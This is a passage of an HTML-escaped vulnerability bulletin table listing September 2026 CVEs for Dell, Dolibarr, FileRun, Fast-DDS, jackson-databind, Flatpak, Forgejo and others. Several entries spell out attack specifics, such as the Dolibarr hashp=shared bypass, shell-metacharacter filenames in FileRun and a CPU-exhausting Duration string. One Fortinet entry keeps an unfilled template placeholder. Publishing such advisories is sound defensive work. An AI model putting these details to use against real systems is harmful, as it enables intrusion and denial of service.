&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80122&quot; target=&quot;_blank&quot;&gt;CVE-2026-80122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80123&quot; target=&quot;_blank&quot;&gt;CVE-2026-80123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80127&quot; target=&quot;_blank&quot;&gt;CVE-2026-80127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80130&quot; target=&quot;_blank&quot;&gt;CVE-2026-80130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80131&quot; target=&quot;_blank&quot;&gt;CVE-2026-80131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80133&quot; target=&quot;_blank&quot;&gt;CVE-2026-80133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80134&quot; target=&quot;_blank&quot;&gt;CVE-2026-80134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Check or Handling of Exceptional Conditions vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80135&quot; target=&quot;_blank&quot;&gt;CVE-2026-80135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80164&quot; target=&quot;_blank&quot;&gt;CVE-2026-80164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Privilege Management vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80166&quot; target=&quot;_blank&quot;&gt;CVE-2026-80166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10.2616, contain a Protection Mechanism Failure vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Arbitrary Code Execution within the application context.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81046&quot; target=&quot;_blank&quot;&gt;CVE-2026-81046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10.2616, contain an Improper Neutralization of Special Elements used in a Command (&#039;Command Injection&#039;) vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Remote Code execution&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81048&quot; target=&quot;_blank&quot;&gt;CVE-2026-81048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10. 2616, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81467&quot; target=&quot;_blank&quot;&gt;CVE-2026-81467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10. 2616, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81468&quot; target=&quot;_blank&quot;&gt;CVE-2026-81468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Denis Boti--Page Visits Counter Lite&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Page Visits Counter &amp;amp;#8211; Lite &amp;lt;= 1.2.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81795&quot; target=&quot;_blank&quot;&gt;CVE-2026-81795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dolibarr--Dolibarr&lt;/td&gt;
&lt;td&gt;Dolibarr 23.0.4 before 24.0.1 ontains an authorization bypass vulnerability that allows unauthenticated attackers to read arbitrary files through the document storage endpoints by supplying a crafted hashp parameter value. Attackers can send a request with hashp=shared to skip token validation while satisfying the authorization condition in htdocs/document.php and htdocs/viewimage.php, gaining access to application logs, uploaded business documents, database backups containing password hashes, and files belonging to other multicompany entities.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89013&quot; target=&quot;_blank&quot;&gt;CVE-2026-89013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--orion-visor&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in dromara orion-visor up to 2.5.7. This affects the function HostKeyServiceImpl.encryptKey of the file orion-visor-modules/orion-visor-module-asset/orion-visor-module-asset-service/src/main/java/org/dromara/visor/module/asset/service/impl/HostKeyServiceImpl.java. The manipulation leads to use of hard-coded cryptographic key . The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90510&quot; target=&quot;_blank&quot;&gt;CVE-2026-90510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--orion-visor&lt;/td&gt;
&lt;td&gt;A weakness has been identified in dromara orion-visor up to 2.5.7. Affected by this issue is the function ExposeApiAspect.beforeExposeApi of the file ExposeApiAspect.java. Executing a manipulation can lead to hard-coded credentials. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90509&quot; target=&quot;_blank&quot;&gt;CVE-2026-90509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Appointments--Easy Appointments&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (&#039;Cross-site Scripting&#039;) vulnerability in Easy Appointments allows DOM-Based XSS. This issue affects Easy Appointments: from n/a through 4.0.2.1.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81798&quot; target=&quot;_blank&quot;&gt;CVE-2026-81798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;electerm--electerm&lt;/td&gt;
&lt;td&gt;electerm before 5.3.15 exposes 40+ main-process functions through an unvalidated Electron IPC handler with no function-name allowlist or sender validation. Renderer-side script execution can invoke openFileWithEditor and other functions with arbitrary arguments to execute system commands in the main process.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86711&quot; target=&quot;_blank&quot;&gt;CVE-2026-86711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;embedded-graphics--embedded-graphics&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in embedded-graphics up to 0.8.2. This affects the function ImageRaw::draw_sub_image of the file src/image/image_raw.rs. Executing a manipulation of the argument width can lead to integer overflow. The attack may be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90593&quot; target=&quot;_blank&quot;&gt;CVE-2026-90593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;eProsima--Fast-DDS&lt;/td&gt;
&lt;td&gt;eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Versions prior to 2.6.12, 2.14.6, 3.2.4, 3.3.1, and 3.4.2 have a remotely triggerable Out-of-Bounds Read while processing RTPS `DATA_FRAG` submessages. An attacker can craft a `DATA_FRAG` with a large `sampleSize` but a small actual payload, and set `fragmentsInSubmessage` such that the receiver treats the packet as the LAST fragment**. In this LAST-fragment path, Fast-DDS computes `incoming_length` based on `sampleSize` and calls `memcpy()` without validating `incoming_data.length &amp;gt;= incoming_length`. As a result, `CacheChange_t::add_fragments()` reads past the received UDP datagram buffer and into adjacent heap memory, copying those bytes into the reassembly buffer. In a Discovery Server deployment, the resulting `CacheChange_t` can be relayed to other participants, meaning that a newly joining participant may receive leaked heap memory (e.g., pointer values that could aid ASLR bypass). Versions 2.6.12, 2.14.6, 3.2.4, 3.3.1, and 3.4.2 fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-22590&quot; target=&quot;_blank&quot;&gt;CVE-2026-22590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;eProsima--Fast-DDS&lt;/td&gt;
&lt;td&gt;eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to versions 2.6.12, 2.14.6, 3.2.4, and 3.4.3, Fast DDS&#039;s implementation of SQLbased content filtering (DDSSQLFilter) allows any participant in a DDS domain to remotely crash other Fast DDS participants by sending a single crafted SEDP `DATA` submessage whose `PID_CONTENT_FILTER_PROPERTY.filterExpression` contains a deeply nested filter expression. Versions 2.6.12, 2.14.6, 3.2.4, and 3.4.3 fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-22591&quot; target=&quot;_blank&quot;&gt;CVE-2026-22591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Epsiloncool--WP Fast Total Search&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in WP Fast Total Search &amp;lt;= 1.82.284 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84821&quot; target=&quot;_blank&quot;&gt;CVE-2026-84821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;espnet--espnet&lt;/td&gt;
&lt;td&gt;ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weights_only=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or fine-tuning path.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90777&quot; target=&quot;_blank&quot;&gt;CVE-2026-90777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FasterXML--jackson-databind&lt;/td&gt;
&lt;td&gt;jackson-databind binds a JSON string to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) in CoreXMLDeserializers.Std._deserialize. These deserializers are registered by default with no opt-in, so a plain ObjectMapper or JsonMapper with no polymorphic typing and no special configuration reaches this path. The XML Schema lexical grammar permits numeric components of arbitrary length, which the JDK materializes through the native BigInteger(String) and BigDecimal(String) constructors, both quadratic in digit count. Because the digits sit inside a JSON string token rather than a JSON number token, jackson-core&#039;s StreamReadConstraints.maxNumberLength guard never applies; jackson&#039;s own NumberDeserializers call validateIntegerLength or validateFPLength before parsing a stringified number, but the XML datatype deserializer omits that pre-check. An unauthenticated attacker can therefore submit a single request of a few megabytes, such as a Duration value consisting of the letter P followed by several million digits and the letter Y, and force tens of seconds to several minutes of single-threaded CPU work; a handful of concurrent requests can saturate a server&#039;s worker threads. This affects com.fasterxml.jackson.core:jackson-databind from 2.0.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68497&quot; target=&quot;_blank&quot;&gt;CVE-2026-68497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fastify-cli--fastify-cli&lt;/td&gt;
&lt;td&gt;fastify-cli starts the Node.js Inspector when a debug flag is used, but it ignores the explicit bind address the user supplies and binds the Inspector to a broadly reachable address instead of the intended loopback. As a result the debugging interface can be exposed beyond the local machine, and because the Inspector protocol allows arbitrary code evaluation, a remote party that reaches it can achieve remote code execution on the developer&#039;s machine. This affects fastify-cli from 1.5.0 up to 8.0.1. Users should upgrade to fastify-cli 8.0.1, which honors the configured Inspector bind address.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75021&quot; target=&quot;_blank&quot;&gt;CVE-2026-75021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fengoffice--Feng Office&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Fengoffice Feng Office up to 3.11.13.11. This impacts the function Contacts::instance-&amp;gt;findAll of the file application/models/CompanyWebsite.class.php of the component Legacy API. Such manipulation of the argument auth leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90495&quot; target=&quot;_blank&quot;&gt;CVE-2026-90495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fernandot--Vigilant 100% Free Security Suite: Firewall, 2FA, Login, Headers, Scanner&lt;/td&gt;
&lt;td&gt;The Vigilant - 100% Free Security Suite: Firewall, 2FA, Login, Headers, Scanner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via User-Agent Header in all versions up to, and including, 2.10.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is delivered passively by any unauthenticated visitor who triggers a failed login attempt with a crafted User-Agent header, requiring no further interaction from the attacker once stored.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81754&quot; target=&quot;_blank&quot;&gt;CVE-2026-81754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FileRun--FileRun&lt;/td&gt;
&lt;td&gt;FileRun before 2026.3.0 contains an OS command injection vulnerability in the PhotoProofSheet handler that allows authenticated users with upload permission to execute arbitrary commands by uploading files with shell metacharacters in their names. Attackers can upload a file containing command substitution syntax such as backticks, semicolons, or $() sequences in the filename, then trigger the PhotoProofSheet endpoint to execute arbitrary commands as the web-server user due to missing escapeshellarg() sanitization in the ImageMagick montage command construction.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73693&quot; target=&quot;_blank&quot;&gt;CVE-2026-73693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FileRun--FileRun&lt;/td&gt;
&lt;td&gt;FileRun before 2026.3.0 contains an OS command injection vulnerability caused by a no-op redefinition of escapeshellcmd() in CLI.php that strips shell-metacharacter escaping, allowing attacker-controlled input to reach an exec() sink unsanitized. Attackers can exploit this through an interactive path via image_preview.php with a crafted args parameter requiring superuser authentication, or through a persistent path by storing malicious payloads in thumbnails_ffmpeg_args or thumbnails_ffmpeg_ss that execute when any user triggers video thumbnail generation.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73694&quot; target=&quot;_blank&quot;&gt;CVE-2026-73694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FileRun--FileRun&lt;/td&gt;
&lt;td&gt;FileRun before 2026.3.0 contains a SQL injection vulnerability that allows delegated or simple administrators to execute arbitrary SQL by submitting the description parameter as an array, causing the getValuesString() method in DB/DP.php to interpolate raw array values directly into an INSERT statement without parameterization. Because the underlying PDO connection uses emulated prepared statements enabling stacked queries, attackers can manipulate the df_users_permissions table to escalate a delegated administrator account to superuser privileges, and may additionally achieve code execution via unsanitized path values passed to require_once in the logs listing component.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73698&quot; target=&quot;_blank&quot;&gt;CVE-2026-73698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FileRun--FileRun&lt;/td&gt;
&lt;td&gt;FileRun before 2026.3.0 contains a PHP object injection vulnerability that allows authenticated attackers to execute arbitrary code by exploiting incorrect options passed to unserialize() in the Perms::getPerms() method, where a positional array is used instead of the required named-key array to disable class instantiation. Attackers with database write access can inject a serialized gadget chain into the permissions table columns processed on every authenticated page load to write arbitrary files, such as PHP webshells, to web-accessible paths.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73699&quot; target=&quot;_blank&quot;&gt;CVE-2026-73699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fireplugins--FireBox WooCommerce Popup Builder, Exit Intent Popup, Email Optin &amp;amp; Cart Abandonment&lt;/td&gt;
&lt;td&gt;The FireBox - WooCommerce Popup Builder, Exit Intent Popup, Email Optin &amp;amp; Cart Abandonment plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.1.10 via the value function. This is due to a trivially bypassable regex blacklist in Executer::allowedToRun() that fails to block WordPress core functions such as wp_insert_user, update_option, and file_put_contents, combined with no sanitization of PHP condition rule values stored via the firebox_meta REST endpoint. This makes it possible for authenticated attackers, with author-level access and above, to execute code on the server. On sites upgraded from a version prior to 3.1.10, the Migrator::preserveCampaignRoleAccess() function automatically grants the edit_fireboxes and publish_fireboxes capabilities to the Author role, lowering the effective entry point to Author-level access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76801&quot; target=&quot;_blank&quot;&gt;CVE-2026-76801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Flatpak--Flatpak&lt;/td&gt;
&lt;td&gt;In Flatpak before 1.18.1, a malicious sandboxed app can obtain arbitrary read and write access to files on the host, which can be escalated to arbitrary code execution on the host, a different vulnerability than CVE-2026-76925. Flatpak creates a few app data directories (e.g., /var/cache, /var/data, /var/config, and /var/tmp) in every sandbox on every app launch where, in some cases, components of the path are attacker-controlled. Missing symlink protection can redirect the directories. Some of these directories are bind-mounted by Flatpak by passing the path (e.g., /home/user/.var/app/APP_ID/cache/tmp), which contains attacker-controlled directories (tmp) to bwrap --bind SRC DST. bwrap passes the path on to the kernel, which then follows symlinks. A malicious symlink can point to arbitrary locations on the host and it will become mounted inside the sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90616&quot; target=&quot;_blank&quot;&gt;CVE-2026-90616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forgejo--Forgejo&lt;/td&gt;
&lt;td&gt;Forgejo before 16.0.4 allows remote code execution via a crafted template repository because template expansion on files in .forgejo/template is mishandled.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89094&quot; target=&quot;_blank&quot;&gt;CVE-2026-89094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiMonitorOnSight&lt;/td&gt;
&lt;td&gt;A inclusion of sensitive information in source code vulnerability in Fortinet FortiMonitorOnSight 7.2.4 through 7.2.7, FortiMonitorOnSight 7.2.0 through 7.2.2 may allow attacker to improper access control via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84390&quot; target=&quot;_blank&quot;&gt;CVE-2026-84390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiOS&lt;/td&gt;
